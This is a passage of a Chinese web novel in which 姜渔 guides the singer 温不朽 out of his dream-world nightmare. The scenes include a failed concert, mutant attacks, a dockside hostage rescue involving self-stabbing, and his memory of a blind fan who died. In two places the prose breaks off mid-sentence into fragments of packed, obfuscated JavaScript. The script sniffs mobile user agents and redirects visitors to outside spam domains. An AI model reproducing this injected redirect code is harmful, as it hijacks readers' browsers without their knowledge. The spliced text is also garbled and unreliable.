女生关心地问：“最近培训这么忙呀？” “唉……”温不朽长长叹气，语气有些低沉，“别提了，他们培训我是想让我演戏，说我不适合唱歌。” “什么？”女生提高音量，“是他们不懂才对吧！” “谁知道啊，但他们说演出名气之后我就可以唱歌了，而且收入也不少。” 温不朽开始拿出吉他，一番调整后，唱起了歌。 直至街上行人稀少时，温不朽放下吉他，两只眼睛中充满期待地问：“怎么样？” 女生的语气十分肯定：“一点也没有退步。” “太好了。对了。我有东西给你。” 温不朽从包里拿出一台手机，放到女生手里，认真地说：“手机，我已经都设置好了，保证我随时可以联系到你！你就不用再在这里等我啦。” “这……” “放心！我挣了一点钱的！” “好吧。” 女生犹豫一番，还是将手机放进卫衣的口袋，口袋顿时变得鼓鼓的，似乎里面本就装了什么。 等两人道别，女生才从口袋中，拿出了两部手机。 …… 嗡。 凤巢体育馆的舞台上，温不朽再次弹错了和弦。 模糊不清的画面与含糊其辞的对话已经溢满了他的脑海，他再难保持专注。 乐队其他成员都忧心忡忡地看向温不朽，不知道一直激情四射的主唱大人为什么突然掉了链子。 而此时，歌曲的第一小节刚刚唱完，园长之嘴的三分钟效用就已经来到尾声。 台下的观众早已筋疲力尽，他们望着台上的陌生乐队，纷纷陷入了被耍的愤怒之中。 “那主持人有病啊！是谁啊！她抢了麦克风！” “这乐队唱得这么难听也敢上台！哪来儿的啊！” “滚下台去！” “烟花也不是该在这时候放的！他们是闯进来的！报警把他们抓起来！” 一时间，身在 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“我还以为会有哪怕一个歌迷。我太天真了。” “他们甚至连一首歌都没有办法完整听完。” “根本没有人想听我唱歌的，对吧。” “我真是……” 温不朽还想说话，忽然面色痛苦地抬起手伸向脖子，用力地扯断了项链！ 他避之不及地将项链扔到地上。 姜渔目光一定，只见之前的银质项链，现在不知因为什么原因，竟然变得通体发红，仿佛将要燃烧融化一般！ 此时，关一蔓也猫着腰在“枪林弹雨”中凑过来，她正好见到温不朽扔在地上的银质项链，不禁脱口而出：“这是盲文啊。” 一瞬间，姜渔觉得脑海中的某根弦被连上了。 她看着项链挂着的银牌上，坑坑洼洼的小点，忙问：“上面写的什么？” …… 客厅中，电视终于来到了之前一直定格的雨夜。 温不朽唱完了歌，脸色却十分不好。 他强撑起一个笑容，向撑伞的女生说：“明天我就要去片场了，可能很久都不能来唱歌了。” “是吗。”女生的口吻中有浓浓的失落。 良久，她才轻声说：“再唱一首吧，温先生。” “可……” 温不朽有些为难。 这时，一辆豪华轿车缓缓驶来，车窗摇下，里面伸出一只手，向温不朽招了招手，优雅但不容置疑。 “以后吧。”温不朽咬咬牙下了决定，他说：“我必须得走了，有人来接我了。” 女生没有强求，点点头，说：“嗯。” 这一刻，画面重新定格，再无声音，画面也不再变换。 …… 凤巢体育馆，舞台之上。 关一蔓俯身靠近，因为担心被灼伤，所以没有捡起，只是眯着眼仔细端详。 “看不清楚吗？” 姜渔看关一蔓久久没有声音，心底有些焦急。 许江竹的命令已经下发，许多许氏安保的人上台将他们层层围住，但也无法抵御十万名观众愈演愈盛的怒火，前排观众甚至已经开始攀爬上舞台，俨然有局面失控的趋势。 温不朽的目光逐渐失焦，他已经被怒骂声与嘲笑声淹没了。很少人能亲眼目睹梦想破碎的具象化场面，而今，十万人的冷眼恶语却实实在在刺穿了他的眼睛他的心脏。 哪怕，只有一个歌迷呢。只有一个也好啊。 这是他的梦想，亦是他的信仰。他抱着吉他，总是觉得在这个世界上，一定有一个人，喜欢听他的歌。可是他站在足足十万人面前，也没能找到那一个人。 关一蔓仍盯着项链。 她努力辨认，犹豫不定地说：“好像是……再……” …… 与此同时。 江边码头上，一台吊车的摇臂伸向了江面。在摇臂下，悬着一条粗粗的麻绳，麻绳另一头，捆着一个女人的双手。 谢雨晴的身子被江风吹得不断摇晃。她悠悠醒转，总觉得脑子中多了许多不该存在的记忆，可那些记忆又极具吞噬性，蚕食着她本有的思绪。 她抬起头，无神的双眼望向躁动声不断的凤巢体育馆。那里灯柱已灭，骂声鼎沸，她的耳边却仿佛仍回荡着温不朽在舞台上的歌声。 那本是她不该听到的歌声，因为她当时已经晕去。那本是她最讨厌的歌声，此时却有一丝改观。音响淡出，伴奏淡出，喧闹声褪去，路人行走与汽车鸣笛的声音涌现出来，她又仿佛听见一个男生干净的清唱了。 究竟是眼前演唱会的歌声？还是曾经街道上的卖唱声？那又是谁的歌，谁的记忆，谁的承诺与谁的情绪？ 不由自主地。 谢雨晴喃喃自语说： “再唱一首吧，温先生。” 55. 顶流之梦（十一） 关一蔓终于辨认出了项链铭牌上的盲文。 她表情迟疑看向温不朽，说：“这句话的意思，是再唱一首吧，温先生。” 温不朽的眸底蓦地涌出一丝失神，他无力地瘫靠在姜渔的怀中。他感到这句话是从自己心底里念出来的，于是觉得已经应该想起来什么，但什么也没有，只有无穷的失落将他吞没了。 “不能再耽误了。”姜渔架起温不朽，向后台移步，向众人说道：“先离开这里。” 三名乐队成员护在姜渔与温不朽身后，退向后台，当来到后台，顿时感到安全不少，许氏安保的人数量众多，面色肃杀，完全控制住了演唱会工作人员。 贺少云被经纪人保护着，他看到几人出来，愤怒地在许氏安保人员组成的人墙后挥动拳头：“别跑！给我站那！你们已经被包围了！等着被捕吧！” 姜渔瞄了贺少云一眼：“你这时候倒是挺搞笑的。” “……哦，是吗？”贺少云呆愣几秒，拳头松开了，“我果然很有幽默天分吗？我是不是应该去参加些脱口秀节目？” 被问话的经纪人赶紧赔笑：“贺哥光是往那里一站就很好笑了。” “是吗？哈哈哈哈……怎么感觉是在骂我？” 姜渔没有理会粗线条的贺大明星，她环顾四周，心底冒出一丝不妙：“小谢呢？” 几人这才发现本该坐在后台的小谢不见了。 温不朽从失落中回神，他连忙掏出手机，屏幕刚刚亮起，就蹦出无数条通知，都是祺哥打来的未接来电，最后亮起的一条短信。 他点开短信，上面显示：“蜀江A7码头，想救小相好就过来，不许报警。” 文字上，则是一段视频。 温不朽慌张地点开视频，看到谢雨晴被麻绳吊在江面上，摇摇晃晃。手机镜头，拉近放大，在江风中，收录进了谢雨晴的茫然低语。 “再唱一首吧，温先生。” 温不朽如遭雷击。 不该是这样的。他想。 她在喊谁？我吗？ 又为什么，要让我再唱一首？ 她明明很讨厌我唱歌的才对。 温不朽呆呆地摸向已经空空如也的颈间。 项链上的话，她又怎么会说出？ 姜渔在旁边也看到视频中的内容，她忽然笑了。 “原来是这样。” 姜渔双手扶正温不朽，盯着温不朽，说：“我记得你的梦想，是哪怕只有一个歌迷也好。对么？” “那就是我说的，你没有意识到的错误事实。” “你确实有一个歌迷，她就住在你的隔壁，就是谢雨晴！” 真是这样吗？ 温不朽看着姜渔认真的目光，眼中开始浮出挣扎，不多时，他用力摇摇头，沉声说：“不管是不是这样，我都要去救她。” “我陪你。” 姜渔说话间，已经拉上温不朽向外走去，许江竹等人跟在后面，显然是准备一起行动。 然而，几人结伴刚走出不远，身后猛地传来一阵阵惨叫！ 姜渔立即谨慎地拉着几人靠住墙边，她向后看去，心下一沉。 只见后台中，演唱会的所有工作人员，皮肤上都生出了层层的黑鳞，脊柱诡异地躬起来，犹如一只只直立行走的怪虾，他们眨着变为绿色的瞳孔，在走火的枪声中，肆意撕咬着许氏安保的保镖！ 贺少云更是倒在地上，任由异化的经纪人啃食，一动不动，死不瞑目。 宫少云面色苍白，浑身止不住地颤抖。 关一蔓带着哭腔：“这是怎么回事？人怎么会变成那副样子？” 姜渔不确定地看了眼温不朽，说：“或许是因为娱乐圈水深。” 温不朽嘴唇打颤：“这种时候你还能开玩笑。” “这种时候还没有觉得这世界不对劲？” “这城市太危险，我们都要搬家。” “随便你吧。” 其实姜渔心里感到了一些轻松。 幻境沼泽的剧变，象征着她距离温不朽被异化的精神锚点越来越近了。在幻境沼泽中，一帆风顺与毫无异样的生活才最为可怕。 “抱歉，我不能陪你们去了。”许江竹缓缓开口，她将一个车钥匙递给姜渔，从腰背处抽出两把迷你手枪，说，“只是在演唱会上胡闹，我还能应付公司的问责，但这种情况已经很有可能危及观众了，我不能坐视不管，我会为你们断后。” 姜渔点点头：“多谢。” 她不再犹豫，招呼剩下三人继续向地下车库走去。 身后，枪声响起。 许江竹步伐稳健，每一发子弹都命中虾人的眼睛，收割它们的性命，一轮点射下来，所有工作人员都已经倒在地上，再无声息。 许江竹松了一口气。她穿过后台，想去看看观众有没有受到惊吓，她掀开幕布，一瞬间，心脏几乎停止。 再无人拿着荧光棒。 十万名观众，已经全部异化成了虾人，它们眼中闪烁着绿色的荧光，扭曲地跑动，癫狂地爬行，如潮水般席卷上舞台！ 另一边，姜渔四人一路狂奔，频频穿过临时搭建的工作棚，却惊动了越来越多的虾人，那些虾人移速极快，姜渔手枪中的子弹早已倾泻一空，毫无正面抗衡的力量。 越跑，身后的虾人越多，直到将近地下车库时，几人几乎都能感受到身后虾人牙齿磕碰的声音。 “快到了！” 姜渔率先转入通往地下的入口，那是一道仅有一人宽的紧急出口门口，连接着一条楼梯。 她厉声喊道，“跑快点！” 姜渔打头，关一蔓被温不朽推了一把，随后进入，温不朽紧接着跟上，却没有听到后续的脚步声，反而听见了一声闷哼。 温不朽顿觉不妙：“宫少云！” 他转身望去，宫少云张开双臂，死死堵在门口，为首的吓人飞跃而来，咬在他的脖颈，鲜血喷溅。 “放心……”宫少云微微侧头，惨然一笑。 又一名虾人跟上，它布满黑鳞的胳膊已经全部化成了鳌钳，狠狠刺穿了宫少云的心脏！另一只螯钳随之挥动，直接掐断宫少云的一半脖子！ “……我不会死的。”宫少云的面色更加苍白了。 温不朽看不下去了：“这样都不死啊！” “我们不是说好要拼命庆祝的吗？还不到庆祝的时候呢。”宫少云语气虚弱，明明喉咙都在喷血，但说起话来十分流畅。 “原来这就是flag的力量啊。” 姜渔心里啧啧称奇，转身拽着温不朽继续狂奔。 有宫少云断后，三人顺利来到地下车库，姜渔按下钥匙上的鸣笛按钮，听到一道滴滴声响起，她循声快步走去，来到一辆黑色轿车前，开门坐上驾驶位，温不朽与关一蔓都坐到后座。 姜渔启动轿车，对着导航语音输入地址，踩足油门，轿车顿时冲出停车位，向车库出口驶去，直至离开凤巢体育馆，行驶在江边路上。 关一蔓喘着粗气，话中充满迷茫：“怎么会这样……” 姜渔从后视镜看了一眼，关一蔓迷茫不堪，温不朽倚着车窗，心事重重。 “别怕。”姜渔说，“这里的一切都是假的。” “假的？” “像不像一场噩梦？” “像……可是这也太真实了。” “因为这里是他的噩梦，等他醒来，你们都会获得解脱。” 姜渔又看向后视镜，看到关一蔓试探地将手伸向温不朽，她说道：“掐他是没用的。噩梦只是一种比喻。” “这样吗？”关一蔓更加迷茫，她推了温不朽一把，说：“你为什么不老老实实醒过来？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14599675|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >温不朽不为所动，沉默良久后，嘴硬说：“这时代发生什么人类变异不是也很有可能么。” “你看吧。” 姜渔撇撇嘴，眼前忽然被对面的远光灯闪了一下，她忙眯起眼，注意到前方数十米直直地冲来一辆面包车，急忙打了一个转向。 两车擦肩而过，发出阵阵火星。 姜渔惊魂未定，把稳方向盘，却看到前方又接连冲来两辆卡车！ 是车祸。 她回忆起温不朽曾遭受过的车祸，躲过了一次，躲不过第二次。卡车甚至会撞破商业楼精准地撞在温不朽身上。这是这个幻境沼泽中的规则，总也无法避免。 “该死！” 姜渔咬咬牙，狠踩油门，眼看距离两辆卡车越来越近时，她猛转方向盘，轿车瞬间开向江边的绿化带，再一次与两辆车擦身而过！ 车在绿化带上磕磕碰碰，颠簸不止，导航传来提示音，距离目的地已经只剩下一百米了。 姜渔却听见嗡嗡作响的声音。 她俯身向车前的上空望去，目瞪口呆。 只见天空中盘悬着一辆直升机，正笔直地俯冲而来！ “死木头！你太离谱了！” 姜渔骂了一声，只能继续踩紧油门，期望在直升机坠落前，抵达码头！ 关一蔓却扶着把手开口了：“停车！” 姜渔以为自己听错了：“什么？” “如果我正在度过一个虚假人生的话，或许，我有些经验能用得上。” 关一蔓眼神坚定，再次重复：“停车！” 姜渔犹豫一番，终于踩下刹车。 “这些年，我总是会遇到危险，结果，更危险的人就会冒出来，缠上我。”关一蔓说着，打开了车门，看向姜渔，“如果你说的都是真的，我希望不再过这样的日子。” 关一蔓下了车。 她站在绿化带上，仰望着呼啸而来的直升机，狂风吹乱她的头发，这个始终在校园中与各种纨绔周旋的女同学，眼中一如既往的不服输。 直升机越发逼近这辆车了，几人仿佛能看到舱内驾驶员的狰狞面孔。 转眼之间—— 轰！ 半空之中，火光炸裂！ 直升机化作一团火球，坠向江中，火团落在轿车的周围，一双黑色皮鞋同样踩到草坪上，来人穿着裤线笔直的白色西裤，衬衫熨烫服帖，薄外套散漫地披在肩上，垂下的外套肩部绣着五枚金叶，是未见过的军衔，但显然地位极高。 他留着寸头，五官棱角分明，眉眼间都带着淡淡的寒意，此时一只手举着手机，另一只手抬上来紧了紧袖口，薄唇轻启，毫无感情。 “三团做得不错，等我回去给你们记功。” 他向关一蔓走来，语气克制：“这位小姐，城里出现了很多怪物，大部分部门已经失控。这是我的失责，请务必跟在我身边。” 那真是一个矜贵清冷的公子哥。 关一蔓还未说话。 一排豪车呼啸而至。紧跟着，又跟来一排摩托车，轰鸣不止。又一辆加长豪车。又一辆出租车。又。等等，怎么还有装甲车。 姜渔坐在驾驶座上，人都看傻了。 西装富哥被保镖簇拥，拽拽黑恶势力少爷带手下们上前，阴郁系惨淡男手里攥着夸张的长刀，潮牌搭配的纨绔但后面跟着两个军衔极高的恭敬老人。 “一蔓，我终于找到你了。” “跟我走，不要再闹了。” “原来你在这里，他们是谁？” “一蔓，你不够乖。” “一蔓，离他远点。军区的子弟里，我说了算。” …… 那真是一批矜贵清冷的公子哥们。 关一蔓看了一眼姜渔，转身向诸位哥们缓缓开口。 “方圆一百米，一切禁止入内。” 56. 顶流之梦（完） 江风吹拂。 众公子哥们听到关一蔓的话，纷纷陷入沉默。 最先出现的寸头军官带着一丝笑意开口打破沉默：“有趣，你还是第一个敢这样对我说话的女人。” 姜渔转向后座温不朽：“你看的是什么古早霸总剧啊？” 温不朽倚着车窗，眉头微皱。他没有心思与姜渔拌嘴，心思都在谢雨晴身上。 另一边，寸头军官拿起手机下令：“三团注意警戒，不要让任何东西靠近码头空域。” 他放下手机，紧盯着关一蔓说：“保护公民，是我的义务，不需要你来提醒。” 他话锋一转，唇角中都是玩味的笑意：“但你满意的话，就要留在我的身边，我……” 年轻军官的话未说完，其他的贵公子们站不住了，场面一时间变得无比混乱—— “让我爸带所有车来堵住这条路！” “妈？喂？妈，你快让社团的兄弟们都带着家伙来凤巢体育馆这边！哎呀，不是要找那些变异的虾人，我……我反正有事！” “几位叔叔，把坦克都给我开过来！顺便把那小子家里的车都碾碎。” “赤云，向组织下达S级暗杀任务，所有成员立即埋伏到我发送的坐标点。” …… 好多的废物二代啊。 姜渔手指敲打着方向盘，万分慨叹。混乱中，她探出车窗：“一蔓，谢了。” “是我要谢谢你。我从来没见过这种场面。”关一蔓看着远方还在蜂拥而至的贵公子们，目光失神，“看来你说的是真的，这世界不正常……原来我只是活在别人的梦中而已。” “不会，你在现实中也活着。”姜渔打断关一蔓的话，说，“并且活得很好，是一名歌手。我打工的时候常听你的歌。” “真的么？” 关一蔓浅浅地笑了：“去做你的事吧，这里有这帮神经病在，不会再有人阻拦你。” “嗯。还有件事。”姜渔扭头看向身后的寸头军官，目光炯炯有神：“能再帮我借一把枪吗？刀也行。” …… 几分钟后，姜渔再次启动车辆，副驾驶上已经多了几把手枪与几把长刀。关一蔓金口一开，贵公子们献宝一样交出了自己的贴身武器。 她向最后的终点驶去，短短一百米，再无任何冲撞过来的车辆或是飞机，但距离江边的码头还有一段距离。码头广场巨大，姜渔只能尽力将车驶向江边。 直至视野中被层层叠叠的集装箱占满，车辆再也无法行驶，姜渔才熄火下车。 温不朽紧随其后，望着迷宫一般的集装箱群茫然无措，说：“怎么办？” “分头行动，向江边去，发现谢雨晴就大喊。”姜渔将手枪上膛，果断下达命令，挑好一条路开始狂奔。 温不朽咬咬牙，向另一侧跑去，在纵横交错的集装箱间急速奔跑，几次转弯之后，视线陡然变得宽阔起来，江风更加猛烈，空气愈发潮湿，温不朽喘着粗气，忍着肺部的剧痛，他放缓了脚步。 视线尽头，一台吊车停在码头边上，摇臂伸向江面，钢架与江水之间，谢雨晴像一条小鱼，无力地垂在半空中。 “谢雨晴！” 温不朽目眦欲裂，他不忘姜渔的吩咐，嘶喊着向谢雨晴奔去！ 砰砰砰！ 忽然，几声枪响接连响起，那些子弹打在他的脚前。 数十米外，一台集装箱后迈出一道熟悉的身影。祺哥看着温不朽，脸上涌出狞笑的表情：“二五仔，你终于肯回来了？” “祺哥……” 温不朽额头渗出了冷汗，他双手举高，硬着头皮说：“您听我解释……” “解释？你当然要跟老子解释。”祺哥动作利索地从腰间抽出一把匕首，高高地抛向温不朽，“老子也是来要你一个解释的！” 匕首叮叮当当摔在温不朽的身前。 他抬起头，挤出一丝讨好的笑容：“我不懂……” “道上的规矩，三刀六洞。你受了，我放人！”祺哥咬牙切齿地说道，“我只给你五个数，五！” 温不朽愣在原地，他晃神的功夫，已经听到祺哥念到：“三！” 温不朽看向谢雨晴，她垂着头，不知是死是活，心底猛然蹦出了一股狠心！ “二！” 祺哥话音落下，温不朽已经弯腰捡起匕首，他深呼一口气，向自己的小腿狠狠扎了下去！ “啊！！！” 温不朽发出凄厉的一声惨叫，这声惨叫很快被祺哥的狂笑声盖了过去。 “第二刀呢？第二刀！” 温不朽脸上毫无血色，只剩满头冷汗。他猩红的眼眶中忍不住淌出泪水，那是身体自发启动的自我保护机制。他却无暇顾及伤势，咬牙抽出贯穿小腿的匕首，高高举起，再一次贯穿小腿伤口的上方部位！ 他闷哼一声，已连惨叫的力气都不再有，只能攥紧匕首，用力拔了出来。两刀下去，他的身体正在止不住地颤抖，动作变得僵硬且虚脱。他颤颤巍巍地举起匕首，正要再次下刀时，祺哥忽然喊了声：“慢着！” “这一刀，我要你在这里开个洞。” 祺哥表情狰狞又疯狂，他举起手，指了指自己的脸颊：“右脸进，左脸出，我看你这个废物以后还怎么唱歌！” 温不朽一怔，他缓缓放低胳膊，将匕首对准自己的右脸。 心底却忽然多了丝迷惘。 至于么？ 只是室友而已对吧？ 虽然是我连累了她。 可我为什么要这么做到这种地步？ 是因为我很讲义气吗？我很重道义吗？我觉得很对不起她吗？ 我为什么不能做一个窝囊废，丧家之犬？这样我还可以唱歌！ 不对。 因为就是有些事情比梦想要重要的。 人命。那是一条人命！ 温不朽不再思考了，他抿紧双唇，右手用力，匕首刹那间贯穿了自己的口腔！ 鲜血滴滴答答落下，染红脚下一片土地。 温不朽忍着痛，用最后一丝力气抽出匕首，整个人虚弱地跪伏在地上。 他口齿不清地虚弱问：“够……了么？” “够了。你做得很好，你不愧是我签下的好狗！” 祺哥眼中露出一丝怜悯，他急忙上前，扶住了温不朽，目光愧疚又真诚。 “可是……”他说，“落了百盛面子的，还有那个婆娘。她没来，你还要再补上三刀六洞才可以。” 温不朽颤着抬头，一脸愤懑。他想讲讲道理，可看到祺哥眼中不再掩饰的戏谑后，他立即明白，祺哥不是来讲道理的。 温不朽垂下头，他看着手中的匕首，不知道在向祺哥承诺，还是在为自己打气。 他喃喃着，说：“行……我，我行……” “很好！”祺哥满意地拍拍手，说：“再来三刀！六刀十二洞！老子再不放人就天打雷劈！你小子这趟熬过去，道上也都卖你几分脸面！哈哈哈哈！” “你脑子不好。” 忽然，一道清冷的声音在祺哥背后响起： “贯穿了左脸，也贯穿了右脸。这算四个洞。你下辈子多学学数学吧。” 祺哥感受着背后刀尖的寒意，那股寒意在谈话间蔓延至全身，直令他头皮发麻！ “姑娘，你杀了我，也逃不掉，我带着兄弟的，只要我……” 祺哥赔笑着慢慢转身，瞬间失语了。 还是那名场务，他记得的。可眼前的场务女生每一寸皮肤都沾满了鲜血，祺哥瞳孔地震，迅速扫视全场，只见所有布置好小弟的地方，都躺着一具尸体。 他的心彻底凉了下去。 “你……您效率很……” 寒光一闪，祺哥喉间迸出大量鲜血，再次洒向姜渔的面庞。 温不朽半跪在地上，他看着眼前雄壮的祺哥背影无力倒下，现出祺哥正面的被染成血人的姜渔，虚弱地笑了。 “小谢呢？”他问。 “我将她放下来了。”姜渔看到温不朽的伤势，心渐渐沉了下去。 与陆伯原的幻境沼泽不同，这一次，温不朽即是幻境主体，一旦死亡，很大概率是没有重来一次的机会的。 “你呆在这里，我很快回来。” 她说完转身，向吊车方向走去。短短几分钟后，又扶着谢雨晴回来了。 温不朽看见谢雨晴只是浑身哆嗦，不禁松了口气，低声说：“……没事就好。” 谢雨晴仍不知道发生了什么，她怀抱着自己肩上的姜渔外套，又后怕又困惑：“你怎么来了？你不是在演唱会吗？” 温不朽与姜渔对视一眼，苦笑着说：“……唱完了。” “怎么样？”谢雨晴依偎在姜渔的怀中，说：“怎么没多唱几首？不知道为什么，我刚刚很想让你再唱一首。” 怎么没多唱几首？ 很想让你再唱几首。 可怎么会？ 你明明很讨厌我唱歌的才对。 温不朽的脑海中再一次蹦出了无数挣扎与疑问。此时面对面地听见谢雨晴说出这句话，他更觉头疼欲裂。鲜血仍在涌出，他已经视线模糊，总觉得看到了一些过去的画面。 画面中，好像，又是那条街道。 温不朽的视野中已经没有码头、姜渔、谢雨晴，他的视野漂浮在一条街道的半空。 他呆呆地注视着眼前的景象，就像是在看一台老旧的电视。 模样稚嫩的男生，正站在街边卖唱。 一个女生走过来，轻声说：“您唱得很好听。” “谢谢。” 男生抬起头来，笑容僵住。 他看到了一个盲人，有些被吓到了。 温不朽怔怔地，他认出来了。那名裹在厚厚羽绒服中的盲人，正是谢雨晴。 那个嗓音熟悉的男生同样错愕许久，他带着歉意开口： “抱歉，我……我有些意外。” 码头上，温不朽迷离的双眼中，忽然涌动出两行热泪。 他还在听过去的自己与过去的谢雨晴的对话，那是一个无人问津的卖唱男生与双目失明的女生的故事。 …… “您不用道歉，我理解的，这幅样子很让您为难吧。” “不……您很漂亮。” …… “可我是你的客户哦。我有钱的。” “谢谢老板！祝老板多多发财！” “第一次有人管我叫老板诶。” “……因为工作沟通都很不方便吧。” …… “你叫什么名字？” “温不朽。” “好的，温先生，我会每天来听你唱歌。” …… 画面一幕幕闪过，点点雪花消失，画质逐渐变得清晰，直至来到那个雨夜。 遥远的居民楼内，顶楼客厅中的老电视，定格的画面也忽然向前播放。 街道，雨夜。 温不朽坐上那辆向他招手的豪车。 谢雨晴则留在原地，她的表情有些失落，却又像下定了什么决心。 她突然向着发动机轰鸣的声音摇手：“不唱歌也没关系的！我可以听你演的电影！” 画面流转。 不知过去了多久，画面才重新定格。 一家电影院的影厅内，只有温不朽一个人。但他仍然打扮得如同一个间谍，似乎很怕被什么人认出来一样。 他焦急地看着手机。 电影院的荧幕上，并未开始播放电影，而是莫名开始播放温不朽内心的回忆。 自从电影开机拍摄后，他被严禁外出，甚至无法与外界沟通。直到电影上映后，好评如潮，他也从管理严苛的公司中取得了外出的机会，第一时间给谢雨晴发去短信。 荧幕暗去，重归原样，温不朽更加焦急了，来回踱步。 他等了很久，没有等到谢雨晴的回信，手机铃声响起时，响起的是一个女人的声音。 “抱歉，你是雨晴的朋友吗？她上个月车祸去世了，如果你是……” 手机从掌间滑落。摔在地上，屏幕被磕碰到通讯录的界面。 上面只有一个备注为“谢谢老板”的联系人而已。 温不朽的视野，渐渐与那个过去的自己重叠了。他跟着男生心神不宁地走出影厅，摇摇晃晃地走出影院，他扶在路边的街灯上，已然难以站稳。温不朽感受到男生的心情，或者即是自己的心情。他只想躲到一个地方大哭一场。 街上眼尖的路人却认出了这名声名显赫的新人演员。 “是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612010|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温不朽！” “哦，是那个男主诶！” “原来他刚刚在跟我们一起看电影吗？” 路人惊呼着，将温不朽层层包裹得水泄不通，每个人都争先恐后地向他合影，索要签名。温不朽只能收敛慌神的表情，挤出一丝微笑。 他忽然觉得确实很可笑。 他终于见到自己梦想中的场面，一条街的人都会围在他的身边。他终于成名了，但他不必再抱着吉他，不必再唱歌，面前更不必再摆着讨钱的箱子。他只需要努力地笑着，环视身边带着狂热与欣喜的一道道目光，却再也找不到那个双目无神却带着恬静笑容的女孩。 画面再次暗去。 温不朽跟着过去的自己，来到一间朴素的卧室。 女人的声音在画面外响起：“这就是雨晴要留给你的所有遗物了，我一直拨不通你的电话，所以交不到你手里。” 于是温不朽看到桌上一部崭新的手机，他拿起，点开，界面上只有初始的软件。鬼使神差地，他点开了照片。 里面只有一条视频，封面是谢雨晴躺在病床上的自拍。 温不朽缠着手点开。 他终于再次见到了谢雨晴，她摆弄着手机，笨拙地举到脸前，调整角度。 其实摄像头只能找到她的额头而已，完全离开了她的脸部。 “温先生，如果你看到这段视频，想必我没有撑过这次的手术，关于电影的事情，我只能爽约了。” “请不要为我难过。是我太急着去修手机，才出了车祸。” “我会带着你送我的手机离开的。至于你手里的这台，是当初我买的。” “那个老板很过分，不给我退货。我气坏啦，但也没办法，只好一直留着，没想到这时候派上了用场。这样，我也送了你一部手机。嘿嘿。” “哦，请放心，我偷偷用你送我的手机，录了你唱的歌。所以，我在天堂也可以一直听你唱歌了。我很有办法，对吧？” “如果说有什么遗憾的话……” “总是觉得很可惜，一直没有见到你。你会是什么样子呢？其实我在听你唱的时候，除了脑海里能看到那些你歌里的风景啊，小动物啊……我总是会走神去想象你的样子。” “但也很幸运，可以听见你唱的歌。希望你可以一直唱下去，不会只有我一个歌迷，你很厉害呀，值得拥有更多的歌迷的。” “再见了，温先生，我该去做手术了。” “为我祈祷哦，我还是很想再见到你的。” 谢雨晴的声音虚弱，似乎也打了麻药，说话都显得费力。她断断续续地说完后，按下了停止的按钮，再也没有声音响起。 他抬起头，小小的卧室里，贴满女生的画。画中都是一个男生抱着吉他画像的剪影。 他攥着手机，低着头，久久没有说话。 窗户传来风声，与他的呜咽混在一起。 雪花落下，已经又是冬天了。 …… 温不朽眼前的画面逐渐淡去了。 他重新看到姜渔，与一脸担心的谢雨晴。 “你说的对，姜渔，我找到了。” 温不朽忽然笑了，却笑得很难看，笑得满脸是泪。 “我在幻境沼泽，对么？” “我一直活在追求唱歌梦想的假象中。” “我早就忘记怎么唱歌了，也很久没有再拿起吉他。” “我确实有，也只有过一个歌迷。” “但她已经去世了。” 哦。与我一样的脚本。 姜渔听到温不朽的话，终于放下了心，她看了懵懂无知的谢雨晴一眼，向温不朽说：“那你应该知道要做什么了？” “可是……” “你已经醒来，就该知道这些是假的。”姜渔看着谢雨晴，眸底忍不住也浮起一层微不可见的哀伤，她缓缓摇头，冷厉道：“我们没有时间了，温不朽，你下不了手，我会下手。” 她下过很多次手，向那些幻体纪小麦。 从崩溃到平静，她也花了很长的时间。 她试过一夜夜叙旧，也经过一次次的道别，但她没有办法选择在幻境中沉沦，她的怒火还未倾泻殆尽，她要回到现实与那些残暴无情的衍生体做周而复始的清算。 谢雨晴忽然说：“你们在说什么？” “抱歉，小谢。”姜渔紧紧搂了搂谢雨晴。 她叹口气，低声说：“我会杀掉你，去换温不朽的命。可能会有点疼，这是没办法的事情。” “哦……” 谢雨晴见识过姜渔与常人不同的脑回路与行动力，她脸色苍白了一阵，最终弱弱地说：“那我可以留给他一点东西吗？” “请便。” 谢雨晴挣开姜渔的怀抱，摸索着靠近温不朽，她空洞的目光望着漆黑的远方，双手在每个兜里掏了掏，终于，掏出一叠皱巴巴的纸币。 “喂，温不朽，其实你唱得很好，我不会白听。” “这给你……” 温不朽看着那一叠纸币。 嘴角挂起了苦笑，连连摇头。 他身上的伤口正在愈合，消失，象征着他正在觉醒。 他推回了那叠纸币，眼眶湿润，黯然神伤。 他低声说：“你还是搞错了，她很抠门的，连一块钱都想抢回去的那种。” “但是，谢谢你。让我再次见到她。” 谢雨晴的表情，逐渐僵住。 一丝血迹从她的颈间渗了出来。 姜渔收起刀，她看到温不朽身上的所有伤口，都已经愈合。 温不朽接住倒下的谢雨晴，低声说：“我再和她说几句话。就几句。” 姜渔点点头，识相地走远了，她靠在集装箱上，看着那名高瘦清冷的影帝伏在盲人女生的尸体上，温声地喃喃自语，最终像个孩子一样嚎哭起来。 这就是他的精神锚点，关于一次行差踏错的抉择。在那个签约公司的午后，卖唱的男生踏入了错误的河流，从此挣扎在繁华炫目的浮光下，举目望去，暗流涌动，水草纠缠，镶着金鳞的鱼龙要将他啃食殆尽。 他总是会想起另一条河流，企图撞破水面，落入其中。可是他注定跃不过那一道龙门。这是时间的河流，姑娘和梦想早已埋在了记忆的泥沙中。 57. 回归 码头边上，姜渔背靠集装箱，看到不远处温不朽起身向自己走来。 